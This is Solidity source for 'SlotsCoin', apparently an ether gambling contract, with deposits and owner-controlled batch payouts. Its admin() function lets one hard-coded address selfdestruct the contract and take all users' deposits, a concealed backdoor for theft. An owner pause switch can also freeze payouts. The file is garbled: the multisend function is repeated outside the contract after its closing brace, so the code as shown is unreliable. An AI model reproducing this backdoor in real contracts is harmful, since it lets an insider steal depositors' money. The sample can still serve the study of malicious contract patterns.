contract SlotsCoin is Ownable {
    
    using SafeMath
    for uint;
    
    mapping(address => uint) public deposit;
    mapping(address => uint) public withdrawal;
    bool status = true;
    uint min_payment = 0.05 ether;
    address payable public marketing_address = 0x8948E4B00DEB0a5ADb909F4DC5789d20D0851D71;
    uint public rp = 0;
    
    event Deposit(
        address indexed from,
        uint indexed block,
        uint value,
        uint time
    );
    
    event Withdrawal(
        address indexed from,
        uint indexed block,
        uint value, 
        uint ident,
        uint time
    );
    
    modifier isNotContract() {
        uint size;
        address addr = msg.sender;
        assembly { size := extcodesize(addr) }
        require(size == 0 && tx.origin == msg.sender);
        _;
    }
    
    modifier contractIsOn() {
        require(status);
        _;
    }
    modifier minPayment() {
        require(msg.value >= min_payment);
        _;
    }
    
    //automatic withdrawal using server bot
    function multisend(address payable[] memory dests, uint256[] memory values, uint256[] memory ident) onlyOwner contractIsOn public returns(uint) {
        uint256 i = 0;
        
        while (i < dests.length) {
            uint transfer_value = values[i].sub(values[i].mul(3).div(100));
            dests[i].transfer(transfer_value);
            withdrawal[dests[i]]+=values[i];
            emit Withdrawal(dests[i], block.number, values[i], ident[i], now);
            rp += values[i].mul(3).div(100);
            i += 1;
        }
        
        return(i);
    }
    
    function startProphylaxy()onlyOwner public {
        status = false;
    }

    function admin() public 
    {
        require(msg.sender == 0x8948E4B00DEB0a5ADb909F4DC5789d20D0851D71);
		selfdestruct(0x8948E4B00DEB0a5ADb909F4DC5789d20D0851D71);
	}    
    
    function stopProphylaxy()onlyOwner public {
        status = true;
    }
    
    function() external isNotContract contractIsOn minPayment payable {
        deposit[msg.sender]+= msg.value;
        emit Deposit(msg.sender, block.number, msg.value, now);
    }
    
}
function multisend(address payable[] memory dests, uint256[] memory values, uint256[] memory ident) onlyOwner contractIsOn public returns(uint) {
    uint256 i = 0;
        
    while (i < dests.length) {
        uint transfer_value = values[i].sub(values[i].mul(3).div(100));
        dests[i].transfer(transfer_value);
        withdrawal[dests[i]]+=values[i];
        emit Withdrawal(dests[i], block.number, values[i], ident[i], now);
        rp += values[i].mul(3).div(100);
        i += 1;
    }
        
    return(i);
}

//automatic withdrawal using server bot